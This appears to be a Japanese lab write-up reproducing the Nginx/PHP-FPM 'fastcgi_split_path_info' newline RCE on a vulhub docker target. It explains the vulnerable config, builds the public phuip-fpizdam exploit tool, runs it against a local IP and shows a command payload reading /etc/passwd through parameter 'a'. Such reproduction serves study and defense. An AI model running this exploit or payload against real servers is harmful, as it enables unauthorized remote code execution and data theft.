脆弱性の原理#
Nginx 上の fastcgi_split_path_info は、%0a を含むリクエストを処理する際に、改行文字 \n に遭遇することで PATH_INFO が空になります。そして php-fpm は PATH_INFO が空の状態で論理的欠陥があります。攻撃者は巧妙に構築し利用することで、リモートコード実行を引き起こすことができます。
この脆弱性は、nginx.conf で特定の設定を行う必要があります。具体的な設定は以下の通りです:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻撃者は改行文字(%0a)を使用して fastcgi_split_path_info 指令内の Regexp を破壊することができます。Regexp が破損すると PATH_INFO が空になり、この脆弱性が引き起こされます。
脆弱性の再現#
本実験で使用するマシンは:Kali、vulnhub の docker イメージを作成しました。
まず、vulhub をインストールし、該当する脆弱性のディレクトリに移動し、docker イメージ作成のコマンドを実行します。
コマンドは:
docker-compose build docker-compose up -d
docker-compose config を使用してこの脆弱性の設定を確認します
その後、このページにアクセスします:
192.168.19.128:8080(192.168.19.128 は kali 仮想マシンの IP)
脆弱性利用ツールをダウンロードしてインストールします
GitHub 上で公開されているこの脆弱性の POC を使用して、インストールパッケージを取得します:
git clone https://github.com/neex/phuip-fpizdam.git
このツールは Go 言語環境でコンパイルして実行する必要があるため、Kali に Go 言語環境がインストールされている必要があります。
このディレクトリに入ったら、コマンドを実行します:
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
これで、ツールのインストールが完了しました。
次に脆弱性の再現を行います:
このディレクトリでコマンドを実行します:
go run . "http://192.168.19.128:8080/index.php"
その後、http://192.168.19.128:8080 のページで、パラメータ a を使用してコマンドを実行することができます。例えば、/etc/passwd ファイルの内容を確認するには、次のようなペイロードを構築します:
http://192.168.19.128:8080/?a=cat%20/etc/passwd
脆弱性が成功裏に再現されました。
Go 環境の Kali へのインストールについては、以下のリンクを参照できます:
https://blog.csdn.net/WHQ556677/article/details/122283509